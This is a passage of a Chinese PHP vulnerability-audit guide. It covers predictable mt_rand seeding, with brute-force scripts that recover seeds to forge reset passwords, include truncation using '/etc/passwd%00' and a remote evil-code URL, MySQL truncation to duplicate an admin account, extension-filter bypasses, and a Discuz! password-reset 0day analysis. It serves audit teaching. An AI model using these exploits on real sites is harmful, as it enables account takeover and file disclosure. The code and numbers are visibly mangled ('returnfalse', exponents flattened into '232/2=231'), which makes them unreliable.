2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand
(PHP 3>=3.0.6, PHP 4, PHP 5)

mt_srand
--播下一个更好的随机数发生器种子
说明
void mt_srand (int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

<?php
// seed with microseconds
function make_seed()
{
   list
($usec, $sec)= explode(' ', microtime());
return(float) $sec +((float) $usec *100000);
}
mt_srand
(make_seed());
$randval
= mt_rand();
?>

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime()*1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1--->0<(double) microtime()*1000000<1000000

那么很容易暴力破解,测试代码如下:

<?php
/
//>php rand.php
//828682
//828682

ini_set
("max_execution_time",0);
$time
=(double) microtime()*1000000;
print $time."\n";
mt_srand
($time);

$search_id
= mt_rand();
$seed
= search_seed($search_id);
print $seed;
function search_seed($rand_num){
$max
=1000000;
for($seed=0;$seed<=$max;$seed++){
       mt_srand
($seed);
       $key
= mt_rand();
if($key==$rand_num)return $seed;
}
returnfalse;
}
?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:


seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3



seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3


对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?php
mt_srand
(4);
$a
= mt_rand();
mt_srand
(5);
$b
= mt_rand();
print $a."\n".$b;
?>

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define
('BUGGY',1);//上面代码$a==$b时候定义BUGGY=1

$key
= wp_generate_password(20,false);
echo $key
."\n";
$seed
= getseed($key);
print $seed."\n";

mt_srand
($seed);
$pass
= wp_generate_password(20,false);
echo $pass
."\n";

function wp_generate_password($length =12, $special_chars =true){
       $chars
='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if( $special_chars )
               $chars
.='!@#$%^&*()';

       $password
='';
for( $i =0; $i < $length; $i++)
               $password
.= substr($chars, mt_rand(0, strlen($chars)-1),1);
return $password;
}

function getseed($resetkey){
       $max
= pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++){
               $seed
= BUGGY ?($x <<1)+1: $x;
               mt_srand
($seed);
               $testkey
= wp_generate_password(20,false);
if($testkey==$resetkey){ echo "o\n";return $seed;}

if(!($x %10000)) echo $x /10000;
}
       echo
"\n";
returnfalse;
}
?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

<?php
mt_srand
(42);
echo mt_rand
();
//php<=5.20 1387371436
//php>5.20 1354439493          
?>

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被***者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)


漏洞审计策略
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand


特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的null字符截断。

include截断
<?php 
include $_GET
['action'].".php";
?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

<?php

var5.php代码:
include $_GET['action'].".php";
print strlen(realpath("./"))+strlen($_GET['action']);  
///
ini_set
('max_execution_time',0);
$str
='';
for($i=0;$i<50000;$i++)
{
       $str
=$str."/";

       $resp
=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if(strpos($resp,'hi')!==false){
print $i;
exit;
}
}
?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql
> insert into truncated_test(`username`,`password`) values("admin           x","new_pass");
Query OK,1 row affected,1 warning (0.01 sec)

mysql
>select*from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|1| admin      |pass|
|2| admin      | new_pass |
+----+------------+----------+
2 rows inset(0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1),"new_pass2");
Query OK,1 row affected,1 warning (0.00 sec)

mysql
>select*from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|1| admin      |pass|
|2| admin      | new_pass  |
|3| admin      | new_pass2 |
+----+------------+----------+
2 rows inset(0.00 sec)

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)){
die("already exist");
}


漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码


文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题:

//Is this code vul?
if( eregi(".php",$url)){
die("ERR");
}
$fileurl
=str_replace($webdb[www_url],"",$url);
.....
header
('Content-Disposition: p_w_upload; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:

$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url)){
die("ERR");
}

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

<?php
for($i=0;$i<255;$i++){
       $url
='1.ph'.chr($i);
       $tmp
=@file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。


漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数


怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典

  • 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式

  • fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来

  • 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)

  • 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题

  • 你有什么要补充的吗? :)


DEMO


DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt
PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand


第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

heige@heige-desktop:~/dz6/upload$ grep -in'mt_srand'-r ./--colour -5
./include/global.func.php-694-  $GLOBALS['rewritecompatible']&& $name = rawurlencode($name);
./include/global.func.php-695-return'<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric =0){
./include/global.func.php:699:  PHP_VERSION <'4.2.0'&& mt_srand((double)microtime()*1000000);
./include/global.func.php-700-if($numeric){
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length)-1));
./include/global.func.php-702-}else{
./include/global.func.php-703-          $hash ='';
./include/global.func.php-704-          $chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes'])||!is_array($_DCACHE['bbcodes'])||!is_array($_DCACHE['smilies'])){
./include/discuzcode.func.php-32-@include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime()*1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid,&$postlist){
./include/discuzcode.func.php-38-global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['p_w_uploads'][$aid];
./include/discuzcode.func.php-40-if($attach['attachimg']){

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

 PHP_VERSION <'4.2.0'&& mt_srand((double)microtime()*1000000);

判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime()*1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。

后话

本文是集体智慧的结晶。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!

附录

[1]http://bbs.phpchina.com/p_w_upload.php?aid=22294
[2]http://www.php-security.org/
[3]http://bugs.php.net/bug.php?id=40114